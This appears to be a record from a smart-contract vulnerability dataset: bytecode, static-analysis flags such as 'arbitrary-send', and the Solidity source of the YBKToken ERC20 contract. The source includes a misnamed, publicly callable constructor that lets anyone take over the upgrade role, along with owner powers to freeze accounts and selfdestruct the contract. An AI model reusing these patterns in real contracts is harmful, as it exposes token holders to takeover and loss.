1f22565b611152611f0e565b61115a611f0e565b611162611f0e565b6000600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509650866040518059106111b75750595b90808252806020026020018201604052509550866040518059106111d85750595b90808252806020026020018201604052509450866040518059106111f95750595b908082528060200260200182016040525093508660405180591061121a5750595b908082528060200260200182016040525092508660405180591061123b5750595b90808252806020026020018201604052509150600090505b868110156114f057600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156112a757fe5b906000526020600020906008020160040160009054906101000a900460ff1686828151811015156112d457fe5b9060200190602002019015159081151581525050600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561133457fe5b906000526020600020906008020160040160019054906101000a900460ff16858281518110151561136157fe5b9060200190602002019015159081151581525050600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156113c157fe5b90600052602060002090600802016005015484828151811015156113e157fe5b9060200190602002018181525050600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110151561143b57fe5b906000526020600020906008020160060154838281518110151561145b57fe5b9060200190602002018181525050600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811015156114b557fe5b90600052602060002090600802016007015482828151811015156114d557fe5b90602001906020020181815250508080600101915050611253565b85858585859b509b509b509b509b505050505050505091939590929450565b600381141561152b576005600081548092919060010191905055505b6008811415611547576006600081548092919060010191905055505b600f811415611563576007600081548092919060010191905055505b601581141561157f576008600081548092919060010191905055505b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6001602052816000526040600020818154811015156115e657fe5b9060005260206000209060050201600091509150508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040154905085565b6000806000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509150600090505b818110156117775784600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811015156116e157fe5b90600052602060002090600802016000015414801561175c575083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561174857fe5b906000526020600020906008020160030154145b1561176a576001925061177c565b808060010191505061168c565b600092505b50509392505050565b600080348314151561179657600080fd5b6117a133878561163d565b905080156117ae57600080fd5b6001600087815260200190815260200160002080548060010182816117d39190611f36565b9160005260206000209060050201600060a0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018a815260200189815260200188815260200187815250909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201556060820151816003015560808201518160040155505050600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060010182816118e99190611f68565b91600052602060002090600802016000610120604051908101604052808a81526020018981526020018881526020018781526020016000151581526020016000151581526020016000815260200160008152602001600081525090919091506000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff02191690831515021790555060a08201518160040160016101000a81548160ff02191690831515021790555060c0820151816005015560e0820151816006015561010082015181600701555050503073ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515611a1257600080fd5b6001915050949350505050565b803073ffffffffffffffffffffffffffffffffffffffff163110151515611a4557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611aa657600080fd5b50565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050803073ffffffffffffffffffffffffffffffffffffffff163110151515611b1357600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611ba057600080fd5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509150600090505b81811015611e6f5786600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611c4557fe5b906000526020600020906008020160000154148015611cc0575085600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611cac57fe5b906000526020600020906008020160030154145b15611e62576001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611d1357fe5b906000526020600020906008020160040160016101000a81548160ff02191690831515021790555084600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611d8857fe5b90600052602060002090600802016005018190555083600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611dea57fe5b90600052602060002090600802016006018190555082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481101515611e4c57fe5b9060005260206000209060080201600701819055505b8080600101915050611bf0565b6001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550611f05600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150f565b50505050505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b815481835581811511611f6357600502816005028360005260206000209182019101611f629190611f9a565b5b505050565b815481835581811511611f9557600802816008028360005260206000209182019101611f949190612000565b5b505050565b611ffd91905b80821115611ff957600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600090556003820160009055600482016000905550600501611fa0565b5090565b90565b61207c91905b80821115612078576000808201600090556001820160009055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549060ff021916905560058201600090556006820160009055600782016000905550600801612006565b5090565b905600a165627a7a723058206b503f63cfdfae1c037b214da34a9f03cac1df309b7a1ff69756c452da1d70df0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,781 |
0xf56414ae268293dc717878eec223567d960f2f7c
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
//Allow transfers from owner even in paused state - block all others
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
modifier whenPaused() {
require(paused);
_;
}
// called by the owner on emergency, triggers paused state
function pause() onlyOwner public{
require(paused == false);
paused = true;
Pause();
}
// called by the owner on end of emergency, returns to normal state
function unpause() onlyOwner whenPaused public{
paused = false;
Unpause();
}
}
// allow contract to be destructible
contract Mortal is Ownable {
function kill() onlyOwner public {
selfdestruct(owner);
}
}
/**
* Upgrade agent interface inspired by Lunyr.
*
* Upgrade agent transfers tokens to a new contract.
* Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting.
*/
contract UpgradeAgent {
uint public originalSupply;
/** Interface marker */
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract BaseToken is Ownable, Pausable, Mortal{
using SafeMath for uint256;
// ERC20 State
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
mapping (address => bool) public frozenAccount;
uint256 public totalSupply;
// Human State
string public name;
uint8 public decimals;
string public symbol;
string public version;
// ERC20 Events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
//Frozen event
event FrozenFunds(address target, bool frozen);
// ERC20 Methods
function totalSupply() public constant returns (uint _totalSupply) {
return totalSupply;
}
function balanceOf(address _address) public view returns (uint256 balance) {
return balances[_address];
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowances[_owner][_spender];
}
//Freeze/unfreeze specific address
function freezeAccount(address target, bool freeze) onlyOwner public{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
//Check if given address is frozen
function isFrozen(address _address) public view returns (bool frozen) {
return frozenAccount[_address];
}
//ERC20 transfer
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
//REMOVED - SH 20180430 - WOULD PREVENT SENDING TO MULTISIG WALLET
//require(isContract(_to) == false);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
//REMOVED - SH 20180430 - WOULD PREVENT SENDING TO MULTISIG WALLET
//Check if to address is contract
//function isContract(address _addr) private constant returns (bool) {
// uint codeSize;
// assembly {
// codeSize := extcodesize(_addr)
// }
// return codeSize > 0;
// }
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _owner, address _to, uint256 _value) whenNotPaused public returns (bool success) {
require(_to != address(0));
require(_value <= balances[_owner]);
require(_value <= allowances[_owner][msg.sender]);
require(!frozenAccount[_owner]);
balances[_owner] = balances[_owner].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_owner][msg.sender] = allowances[_owner][msg.sender].sub(_value);
Transfer(_owner, _to, _value);
return true;
}
}
/**
* A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision.
*
* First envisioned by Golem and Lunyr projects.
*/
contract UpgradeableToken is BaseToken {
/** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */
address public upgradeMaster;
/** The next contract where the tokens will be migrated. */
UpgradeAgent public upgradeAgent;
/** How many tokens we have upgraded by now. */
uint256 public totalUpgraded;
/**
* Upgrade states.
*
* - NotAllowed: The child contract has not reached a condition where the upgrade can bgun
* - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet
* - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet
* - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens
*
*/
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
/**
* Do not allow construction without upgrade master set.
*/
function UpgradeAgentEnabledToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
/**
* Allow the token holder to upgrade some of their tokens to a new contract.
*/
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
revert();
}
// Validate input value.
if (value == 0) revert();
balances[msg.sender] = balances[msg.sender].sub(value);
// Take tokens out from circulation
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
/**
* Set an upgrade agent that handles
*/
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
revert();
}
if (agent == 0x0) revert();
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) revert();
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) revert();
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) revert();
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply) revert();
UpgradeAgentSet(upgradeAgent);
}
/**
* Get the state of the token upgrade.
*/
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
/**
* Change the upgrade master.
*
* This allows us to set a new owner for the upgrade mechanism.
*/
function setUpgradeMaster(address master) public {
if (master == 0x0) revert();
if (msg.sender != upgradeMaster) revert();
upgradeMaster = master;
}
/**
* Child contract can enable to provide the condition when the upgrade can begin.
*/
function canUpgrade() public constant returns(bool) {
return true;
}
}
/**
* A crowdsaled token.
*
* An ERC-20 token designed specifically for crowdsales with investor protection and further development path.
*
* - The token contract gives an opt-in upgrade path to a new contract
*
*/
contract YBKToken is UpgradeableToken {
string public name;
string public symbol;
uint public decimals;
string public version;
/**
* Construct the token.
*/
// Constructor
function YBKToken(string _name, string _symbol, uint _initialSupply, uint _decimals, string _version) public {
owner = msg.sender;
// Initially set the upgrade master same as owner
upgradeMaster = owner;
name = _name;
decimals = _decimals;
symbol = _symbol;
version = _version;
totalSupply = _initialSupply;
balances[msg.sender] = totalSupply;
}
}
|
0x608060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610185578063095ea7b31461021557806318160ddd1461027a57806323b872dd146102a557806327e235e31461032a578063313ce567146103815780633f4ba83a146103ac57806341c0e1b5146103c357806345977d03146103da57806354fd4d501461040757806355b6ed5c146104975780635c975abb1461050e5780635d302ba11461053d5780635de4ccb014610580578063600440cb146105d757806370a082311461062e5780638444b391146106855780638456cb59146106be5780638da5cb5b146106d557806395d89b411461072c5780639738968c146107bc578063a9059cbb146107eb578063b414d4b614610850578063c752ff62146108ab578063d7e7088a146108d6578063dd62ed3e14610919578063e583983614610990578063e724529c146109eb578063f2fde38b14610a3a578063ffeb7d7514610a7d575b600080fd5b34801561019157600080fd5b5061019a610ac0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101da5780820151818401526020810190506101bf565b50505050905090810190601f1680156102075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b5e565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610c50565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b50610310600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5a565b604051808215151515815260200191505060405180910390f35b34801561033657600080fd5b5061036b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110e5565b6040518082815260200191505060405180910390f35b34801561038d57600080fd5b506103966110fd565b6040518082815260200191505060405180910390f35b3480156103b857600080fd5b506103c1611103565b005b3480156103cf57600080fd5b506103d86111c1565b005b3480156103e657600080fd5b5061040560048036038101908080359060200190929190505050611256565b005b34801561041357600080fd5b5061041c6114e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045c578082015181840152602081019050610441565b50505050905090810190601f1680156104895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a357600080fd5b506104f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611586565b6040518082815260200191505060405180910390f35b34801561051a57600080fd5b506105236115ab565b604051808215151515815260200191505060405180910390f35b34801561054957600080fd5b5061057e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115be565b005b34801561058c57600080fd5b50610595611602565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105e357600080fd5b506105ec611628565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063a57600080fd5b5061066f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164e565b6040518082815260200191505060405180910390f35b34801561069157600080fd5b5061069a611697565b604051808260048111156106aa57fe5b60ff16815260200191505060405180910390f35b3480156106ca57600080fd5b506106d3611716565b005b3480156106e157600080fd5b506106ea6117dc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073857600080fd5b50610741611801565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610781578082015181840152602081019050610766565b50505050905090810190601f1680156107ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c857600080fd5b506107d161189f565b604051808215151515815260200191505060405180910390f35b3480156107f757600080fd5b50610836600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118a8565b604051808215151515815260200191505060405180910390f35b34801561085c57600080fd5b50610891600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b98565b604051808215151515815260200191505060405180910390f35b3480156108b757600080fd5b506108c0611bb8565b6040518082815260200191505060405180910390f35b3480156108e257600080fd5b50610917600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bbe565b005b34801561092557600080fd5b5061097a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ee0565b6040518082815260200191505060405180910390f35b34801561099c57600080fd5b506109d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f67565b604051808215151515815260200191505060405180910390f35b3480156109f757600080fd5b50610a38600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611fbd565b005b348015610a4657600080fd5b50610a7b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120e2565b005b348015610a8957600080fd5b50610abe600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612237565b005b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b565780601f10610b2b57610100808354040283529160200191610b56565b820191906000526020600020905b815481529060010190602001808311610b3957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008060149054906101000a900460ff161580610cc357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610cce57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0a57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de357600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e3c57600080fd5b610e8e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f2382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60016020528060005260406000206000915090505481565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115e57600080fd5b600060149054906101000a900460ff16151561117957600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000611260611697565b90506003600481111561126f57fe5b81600481111561127b57fe5b148061129c575060048081111561128e57fe5b81600481111561129a57fe5b145b15156112a757600080fd5b60008214156112b557600080fd5b61130782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135f826004546122fb90919063ffffffff16565b60048190555061137a82600b5461231490919063ffffffff16565b600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663753e88e533846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50505050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7e5c344a8141a805725cb476f76c6953b842222b967edd1f78ddb6e8b3f397ac846040518082815260200191505060405180910390a35050565b600f8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561157e5780601f106115535761010080835404028352916020019161157e565b820191906000526020600020905b81548152906001019060200180831161156157829003601f168201915b505050505081565b6002602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006116a161189f565b15156116b05760019050611713565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116fa5760029050611713565b6000600b54141561170e5760039050611713565b600490505b90565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177157600080fd5b60001515600060149054906101000a900460ff16151514151561179357600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118975780601f1061186c57610100808354040283529160200191611897565b820191906000526020600020905b81548152906001019060200180831161187a57829003601f168201915b505050505081565b60006001905090565b60008060149054906101000a900460ff16158061191157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561191c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561195857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119a657600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119ff57600080fd5b611a5182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122fb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae682600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461231490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b600b5481565b611bc661189f565b1515611bd157600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415611bf557600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5157600080fd5b600480811115611c5d57fe5b611c65611697565b6004811115611c7057fe5b1415611c7b57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166361d3d7a66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611d4257600080fd5b505af1158015611d56573d6000803e3d6000fd5b505050506040513d6020811015611d6c57600080fd5b81019080805190602001909291905050501515611d8857600080fd5b600454600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634b2ba0dd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015611e1157600080fd5b505af1158015611e25573d6000803e3d6000fd5b505050506040513d6020811015611e3b57600080fd5b8101908080519060200190929190505050141515611e5857600080fd5b7f7845d5aa74cc410e35571258d954f23b82276e160fe8c188fa80566580f279cc600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561201857600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561213d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173fffffffff